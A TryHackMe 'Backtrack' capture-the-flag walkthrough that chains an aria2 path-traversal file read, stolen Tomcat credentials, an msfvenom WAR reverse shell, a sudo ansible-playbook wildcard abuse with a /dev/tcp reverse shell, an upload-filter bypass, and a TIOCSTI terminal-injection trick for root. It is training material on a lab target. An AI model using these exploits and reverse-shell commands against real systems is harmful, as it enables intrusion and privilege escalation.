This is a medium level machine on TryHackMe. In oreder to gain root shell fist we will gain tomcat user shell using LFI and war file upload then laterally move using ansible-playbook to wilbur user then again using php file upload we will gain orville user shell then finally using ioctl terminal injection (TTY Pushback) we will get root access.
Enumeration
Starting with an nmap scan (all ports scan).
NMAP scan
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
| kali@kali:~/Desktop/thm/backtrack$ nmap -sV -sC -vv -p- -Pn backtrack.thm
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-15 07:43 IST
NSE: Loaded 156 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 07:43
Completed NSE at 07:43, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 07:43
Completed NSE at 07:43, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 07:43
Completed NSE at 07:43, 0.00s elapsed
Initiating Parallel DNS resolution of 1 host. at 07:43
Completed Parallel DNS resolution of 1 host. at 07:43, 0.01s elapsed
Initiating Connect Scan at 07:43
Scanning backtrack.thm [65535 ports]
Discovered open port 8888/tcp on backtrack.thm
Discovered open port 8080/tcp on backtrack.thm
Discovered open port 22/tcp on backtrack.thm
Connect Scan Timing: About 4.07% done; ETC: 07:56 (0:12:10 remaining)
Discovered open port 6800/tcp on backtrack.thm
Connect Scan Timing: About 96.27% done; ETC: 07:57 (0:00:31 remaining)
Completed Connect Scan at 07:57, 822.24s elapsed (65535 total ports)
Initiating Service scan at 07:57
Scanning 4 services on backtrack.thm
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 55:41:5a:65:e3:d8:c2:4f:59:a1:68:b6:79:8a:e3:fb (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDzPMYVGNn9fk2sUO4qG8t3GP/3ztCkoIRFTSFwnaHtRTiIe8s3ulwJkAyTZHSmedBOMihmyWyEmA44uxY4kUZEiba8R+c7aWHjTvD04VcKWPgVg1URPWMTHyxUcwKGnoh8n6VwM283+/4f2g2GSj2pVbacoV3xfDo8L4PshyfHK7dEd2qnQv9Yge3p5Aw/1Q7w1eaMZnaoicgzDgjhvqrRcS/DRcp3Lwoz6fGQW2/vFxW7d5aisTslKxRPslTy/Vrgprb7I+D9kdGEFqW/DXDfZLo+4O0woecE6+qSYPbIAjvIao25MTR8xHOFR0sCtyVfehEXYxvJ0fsqBG4yp/y15eDT3MSYevdvhHH1ZLejV66zILbPqUhzFBuMW1U6PKvSNPiQdzlnIRpD8ZQN7KJI8Y6zlHgoh8iu7+PgcUQNixYrX1GhMCYwNGHQlLOLriVRzhScZV3ObH1V8+g8I2sc3WZ54G2XUqZX+pN3ugjN1L5mo8mht1m7ZME+W9if37U=
| 256 79:8a:12:64:cc:5c:d2:b7:38:dd:4f:07:76:4f:92:e2 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBJfVuy7uiXVmzWVPtY/BYF+RZF36ZR8rh7wxeZi7yeOdWd06henZf8z5rYfalc0YHr6kE3clVa0jq+pF64w/lso=
| 256 ce:e2:28:01:5f:0f:6a:77:df:1e:0a:79:df:9a:54:47 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHMk87a1jTdUzEWZNm/XtZKIto5reBlJr75kFdCKXscp
6800/tcp open http syn-ack aria2 downloader JSON-RPC
|_http-title: Site doesn't have a title.
| http-methods:
|_ Supported Methods: OPTIONS
8080/tcp open http syn-ack Apache Tomcat 8.5.93
| http-methods:
|_ Supported Methods: GET HEAD POST
|_http-title: Apache Tomcat/8.5.93
|_http-favicon: Apache Tomcat
8888/tcp open sun-answerbook? syn-ack
| fingerprint-strings:
| GetRequest, HTTPOptions:
| HTTP/1.1 200 OK
| Content-Type: text/html
| Date: Tue, 15 Oct 2024 02:27:47 GMT
| Connection: close
| <!doctype html>
| <html>
| <!-- } -->
| <body ng-controller="MainCtrl" ng-cloak>
|_ <svg aria-hidden="true" style="position: absolute; width: 0; height: 0; overflow: hidden;" version="1.1" xm
|
We have 4 ports open:
- 22 - SSH
- 6800 - aria2 downloader JSON-RPC
- 8080 - Apache Tomcat 8.5.93
- 8888 - sun-answerbook [It may be not as there is
?
at the end]
Port 6800
- It is default port for aria2 RPC interface. Nothing interesting here.
- For more detail visit: https://aria2.github.io/manual/en/html/aria2c.html#rpc-interface
Port 8888 (aria2 webUI)
- After visiting the site it was clear that it is aria2 webUI.
- Next lets explore and search for version or any vulns.
- In
settings > server info
we found version also.
- After a simple search we will find CVE-2023-39141 i.e LFI
Port 8080 (Apache Tomcat)
- On port 8080 there is Apache Tomcat server running.
- Tried default creds but no luck.
tomcat user shell
- Using the
LFI
in aria2 we can enumerate username and password of tomcat
then use it to upload our reverse shell in .war
format.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
| kali@kali:~/Desktop/thm/backtrack$ curl --path-as-is "http://backtrack.thm:8888/../../../../../../../../../../../../../../../../../../../../etc/passwd"
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
sshd:x:109:65534::/run/sshd:/usr/sbin/nologin
landscape:x:110:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:111:1::/var/cache/pollinate:/bin/false
fwupd-refresh:x:112:116:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
mysql:x:113:122:MySQL Server,,,:/nonexistent:/bin/false
tomcat:x:1002:1002::/opt/tomcat:/bin/false
orville:x:1003:1003::/home/orville:/bin/bash
wilbur:x:1004:1004::/home/wilbur:/bin/bash
|
- From the
/etc/passwd
file we can conclude that tomcat is installed in opt directory. - So we can obtain username and password of tomcat by making a request on:
curl --path-as-is "http://backtrack.thm:8888/../../../../../../../../../../../../../../../../../../../../opt/tomcat/conf/tomcat-users.xml"
1
2
3
4
5
6
7
8
9
10
11
| kali@kali:~/Desktop/thm/backtrack$ curl --path-as-is "http://backtrack.thm:8888/../../../../../../../../../../../../../../../../../../../../opt/tomcat/conf/tomcat-users.xml"
<?xml version="1.0" encoding="UTF-8"?>
<tomcat-users xmlns="http://tomcat.apache.org/xml"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd"
version="1.0">
<role rolename="manager-script"/>
<user username="tomcat" password="<REDACTED>" roles="manager-script"/>
</tomcat-users>
|
Now we can try to login to tomcat.
- Maybe
manager-script
role doesn’t have access to HTML Gui - No worries we will upload through
curl
But first we will create a the payload using msfvenom
1
2
3
| kali@kali:~/Desktop/thm/backtrack$ msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.17.16.32 LPORT=9001 -f war > initial.war
Payload size: 1098 bytes
Final size of war file: 1098 bytes
|
Now lets upload the payload
1
2
| kali@kali:~/Desktop/thm/backtrack$ curl --upload-file initial.war -u 'tomcat:<REDACTED>' "http://backtrack.thm:8080/manager/text/deploy?path=/initial"
OK - Deployed application at context path [/initial]
|
Lets take tomcat user shell
- Start the listener and visit
http://backtrack.thm:8080/initial
to get the shell
1
2
3
4
5
6
7
8
9
10
11
12
| kali@kali:~/Desktop/thm/backtrack$ nc -lnvp 9001
listening on [any] 9001 ...
connect to [10.17.16.32] from (UNKNOWN) [10.10.164.78] 44718
python3 -c "import pty;pty.spawn('/bin/bash')"
tomcat@Backtrack:/$ ^Z
zsh: suspended nc -lnvp 9001
kali@kali:~/Desktop/thm/backtrack$ stty raw -echo; fg
[1] + continued nc -lnvp 9001
export TERM=xterm
tomcat@Backtrack:/$
|
python3 -c "import pty;pty.spawn('/bin/bash')"
then CTRL+Z
then stty raw -echo; fg
then export TERM=xterm
is to stabilize the shell.
FLAG 1
1
2
3
4
5
6
7
8
| tomcat@Backtrack:/$ cd ~
tomcat@Backtrack:~$ ls
BUILDING.txt NOTICE RUNNING.txt flag1.txt temp
CONTRIBUTING.md README.md bin lib webapps
LICENSE RELEASE-NOTES conf logs work
tomcat@Backtrack:~$ cat flag1.txt
THM{<REDACTED>}
tomcat@Backtrack:~$
|
wilbur user shell
1
2
3
4
5
6
7
| tomcat@Backtrack:~$ sudo -l
Matching Defaults entries for tomcat on Backtrack:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User tomcat may run the following commands on Backtrack:
(wilbur) NOPASSWD: /usr/bin/ansible-playbook /opt/test_playbooks/*.yml
|
- tomcat user can run
/usr/bin/ansible-playbook /opt/test_playbooks/*.yml
this command as wilbur without password - We dont have write access to the
test_playbooks
directory but there is wildcard (*) we can use to run yml file from anywhere.
First lets create files to run in /tmp directory
1
2
3
4
| - hosts: localhost
tasks:
- name: RShell
command: /tmp/wilbur.sh
|
1
2
| #!/bin/bash
/bin/bash -i >& /dev/tcp/10.17.16.32/443 0>&1
|
Then give them perms to be executed by any user (in other words give them all perms) chmod 777 wilbur.yml wilbur.sh
1
2
3
4
5
6
7
8
9
10
11
| tomcat@Backtrack:/tmp$ sudo -u wilbur /usr/bin/ansible-playbook /opt/test_playbooks/../../tmp/wilbur.yml
.......
PLAY [localhost] ***************************************************************
TASK [Gathering Facts] *********************************************************
ok: [localhost]
TASK [RShell] ******************************************************************
|
- Here
wilcard(*)
represents ../../tmp/wilbur
and rest all is same so no password was asked.
1
2
3
4
5
6
7
8
9
10
11
12
13
| kali@kali:~/Desktop/thm/backtrack$ nc -lnvp 443
listening on [any] 443 ...
connect to [10.17.16.32] from (UNKNOWN) [10.10.164.78] 32836
wilbur@Backtrack:/tmp$ python3 -c "import pty;pty.spawn('/bin/bash')"
python3 -c "import pty;pty.spawn('/bin/bash')"
wilbur@Backtrack:/tmp$ ^Z
zsh: suspended nc -lnvp 443
kali@kali:~/Desktop/thm/backtrack$ fix
[1] + continued nc -lnvp 443
export TERM=xterm
wilbur@Backtrack:/tmp$ cd ~
wilbur@Backtrack:~$
|
orville user shell
Here we find wilbur
user SSH creds , we will use this to get more stable shell.
1
2
3
4
5
6
7
8
| wilbur@Backtrack:~$ ls -a
. .ansible .bashrc .mysql_history from_orville.txt
.. .bash_history .just_in_case.txt .profile
wilbur@Backtrack:~$ cat .just_in_case.txt
in case i forget :
wilbur:<REDACTED>
wilbur@Backtrack:~$
|
There was a file named from_orville.txt
in the wilbur’s home directory
1
2
3
4
5
6
| wilbur@Backtrack:~$ cat from_orville.txt
Hey Wilbur, it's Orville. I just finished developing the image gallery web app I told you about last week, and it works just fine. However, I'd like you to test it yourself to see if everything works and secure.
I've started the app locally so you can access it from here. I've disabled registrations for now because it's still in the testing phase. Here are the credentials you can use to log in:
email : orville@backtrack.thm
password : <REDACTED>
|
This suggests that there is a gallary app web server running locally and its emain and password is also given. So lets forward tje port to our local machine and see what is it.
1
| kali@kali:~/Desktop/thm/backtrack$ ssh -L 80:127.0.0.1:80 wilbur@backtrack.thm
|
Now lets try to exploit this webapp.
- After trying a little bit the filter to upload only jpg, png etc files can be bypassed by filename
*.png.php
- But there is another problem all the files that are in
/uploads
directory are downloading even php file is also downloading. - So we have to try to upload file in root directory i.e.
/
- When using
../
it filters it and removes it even URL-ecoded value of it is also being filtered but using DOUBLE url encode (%252E%252E%252F) bypassed it.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
| kali@kali:~/Desktop/thm/backtrack$ nc -lnvp 6666
listening on [any] 6666 ...
connect to [10.17.16.32] from (UNKNOWN) [10.10.164.78] 37390
Linux Backtrack 5.4.0-173-generic #191-Ubuntu SMP Fri Feb 2 13:55:07 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux
07:48:01 up 1:56, 2 users, load average: 0.03, 0.01, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
wilbur pts/0 10.17.16.32 07:25 22:25 0.02s 0.02s -bash
wilbur pts/3 10.17.16.32 07:09 23:03 0.03s 0.03s -bash
uid=1003(orville) gid=1003(orville) groups=1003(orville)
bash: cannot set terminal process group (548): Inappropriate ioctl for device
bash: no job control in this shell
orville@Backtrack:/$ python3 -c "import pty;pty.spawn('/bin/bash')"
python3 -c "import pty;pty.spawn('/bin/bash')"
orville@Backtrack:/$ ^Z
zsh: suspended nc -lnvp 6666
kali@kali:~/Desktop/thm/backtrack$ fix
[1] + continued nc -lnvp 6666
export TERM=xterm
orville@Backtrack:/$
|
FLAG 2
1
2
3
4
| orville@Backtrack:/$ cd ~
orville@Backtrack:/home/orville$ cat flag2.txt
THM{<REDACTED>}
orville@Backtrack:/home/orville$
|
root shell
- After spending a lot of time in orville user shell i downloaded pspy64 to look at processes running.
1
2
3
4
5
6
7
8
9
10
11
12
| orville@Backtrack:/home/orville$ wget http://10.17.16.32:8000/pspy64
--2024-10-15 07:57:02-- http://10.17.16.32:8000/pspy64
Connecting to 10.17.16.32:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3104768 (3.0M) [application/octet-stream]
Saving to: ‘pspy64’
pspy64 100%[===================>] 2.96M 1.60MB/s in 1.8s
2024-10-15 07:57:04 (1.60 MB/s) - ‘pspy64’ saved [3104768/3104768]
orville@Backtrack:/home/orville$ chmod +x pspy64
|
In the processes there was something odd
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
| 2024/10/13 08:14:03 CMD: UID=0 PID=21807 | /bin/sh /usr/bin/lesspipe
2024/10/13 08:14:03 CMD: UID=0 PID=21809 | /bin/sh /usr/bin/lesspipe
2024/10/13 08:14:03 CMD: UID=0 PID=21808 | /bin/sh /usr/bin/lesspipe
2024/10/13 08:14:03 CMD: UID=0 PID=21810 | -bash
2024/10/13 08:14:03 CMD: UID=0 PID=21811 | -bash
2024/10/13 08:14:03 CMD: UID=0 PID=21812 | -bash
2024/10/13 08:14:04 CMD: UID=1003 PID=21813 | su - orville
2024/10/13 08:14:04 CMD: UID=1003 PID=21814 | -bash
2024/10/13 08:14:04 CMD: UID=1003 PID=21815 | -bash
2024/10/13 08:14:04 CMD: UID=1003 PID=21817 | -bash
2024/10/13 08:14:04 CMD: UID=1003 PID=21816 | -bash
2024/10/13 08:14:04 CMD: UID=1003 PID=21818 | -bash
2024/10/13 08:14:04 CMD: UID=1003 PID=21819 | /bin/sh /usr/bin/lesspipe
2024/10/13 08:14:04 CMD: UID=1003 PID=21821 | dirname /usr/bin/lesspipe
2024/10/13 08:14:04 CMD: UID=1003 PID=21820 | /bin/sh /usr/bin/lesspipe
2024/10/13 08:14:06 CMD: UID=1003 PID=21823 | -bash
|
Before su - orville
every process is running as root. So we can assume that root user has done su - orville
and after googling a little bit i found this : https://www.errno.fr/TTYPushback.html
Following the instructions in that post i created a python file in orville’s home directory
1
2
3
4
5
6
7
8
9
10
11
12
13
| orville@Backtrack:/home/orville$ cat root.py
#!/usr/bin/env python3
import fcntl
import termios
import os
import sys
import signal
os.kill(os.getppid(), signal.SIGSTOP)
for char in sys.argv[1] + '\n':
fcntl.ioctl(0, termios.TIOCSTI, char)
orville@Backtrack:/home/orville$ echo '/home/orville/root.py "chmod +s /bin/bash"' >> .bashrc
|
when using -
with su it simulates normal login i.e. .bashrc wioll also get executed from the orville user which is originally root and in the argument we wrote chmod +s /bin/bash
i.e. SUID bit of root will be given to /bin/bash. Which means irrespective of the user who runs /bin/bash
it will always be executed by root
1
2
3
4
5
| orville@Backtrack:/home/orville$ ls -l /bin/bash
-rwsr-sr-x 1 root root 1183448 Apr 18 2022 /bin/bash
orville@Backtrack:/home/orville$ /bin/bash -p
bash-5.0# id
uid=1003(orville) gid=1003(orville) euid=0(root) egid=0(root) groups=0(root),1003(orville)
|
FLAG 3
1
2
3
4
5
6
7
8
9
10
11
12
13
14
| bash-5.0# cd /root
bash-5.0# ls
flag3.txt manage.py snap
bash-5.0# cat flag3.txt
██████╗░░█████╗░░█████╗░██╗░░██╗████████╗██████╗░░█████╗░░█████╗░██╗░░██╗
██╔══██╗██╔══██╗██╔══██╗██║░██╔╝╚══██╔══╝██╔══██╗██╔══██╗██╔══██╗██║░██╔╝
██████╦╝███████║██║░░╚═╝█████═╝░░░░██║░░░██████╔╝███████║██║░░╚═╝█████═╝░
██╔══██╗██╔══██║██║░░██╗██╔═██╗░░░░██║░░░██╔══██╗██╔══██║██║░░██╗██╔═██╗░
██████╦╝██║░░██║╚█████╔╝██║░╚██╗░░░██║░░░██║░░██║██║░░██║╚█████╔╝██║░╚██╗
╚═════╝░╚═╝░░╚═╝░╚════╝░╚═╝░░╚═╝░░░╚═╝░░░╚═╝░░╚═╝╚═╝░░╚═╝░╚════╝░╚═╝░░╚═╝
THM{<REDACTED>}
bash-5.0#
|
Contents of manage.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
| import paramiko
import time
def ssh_and_execute_command():
try:
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
ssh.connect("localhost", username="root", password="<REDACTED>")
chan = ssh.get_transport().open_session()
chan.get_pty()
chan.invoke_shell()
chan.send(b'su - orville\n')
time.sleep(3)
chan.send(b'zip -q -r /home/orville/web_snapshot.zip /var/www/html/*\n')
time.sleep(5)
chan.send(b'chmod 700 /home/orville/web_snapshot.zip\n')
time.sleep(5)
chan.send(b'exit\n')
time.sleep(2)
chan.close()
ssh.close()
except Exception as e:
print(f"An error occurred: {str(e)}")
ssh_and_execute_command()
|